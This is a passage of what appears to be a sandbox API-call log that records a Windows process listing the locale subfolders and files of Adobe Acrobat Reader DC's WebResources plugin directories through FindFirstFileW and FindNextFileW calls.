hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0251.554] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0251.554] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0251.554] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0251.554] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0251.555] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0251.555] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0251.555] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0251.555] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0251.555] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0251.555] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0251.555] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0251.556] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0251.556] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0251.556] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0251.556] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0251.556] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0251.556] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0251.556] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0251.557] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0251.557] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0251.557] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0251.557] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0251.557] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0251.557] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0251.558] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0251.558] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0251.558] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0251.558] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0251.558] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0251.558] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0251.558] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0251.559] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0251.559] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0251.559] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0251.559] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0251.559] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0251.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bec500) returned 1 [0251.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bec4c0) returned 1 [0251.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bec5c0) returned 1 [0251.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls", nBufferLength=0x105, lpBuffer=0x20bec060, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls", lpFilePart=0x0) returned 0x78 [0251.559] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\*", lpFindFileData=0x20bec2e0 | out: lpFindFileData=0x20bec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0251.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0251.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0251.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0251.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0251.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0251.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0251.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0251.561] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0251.561] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 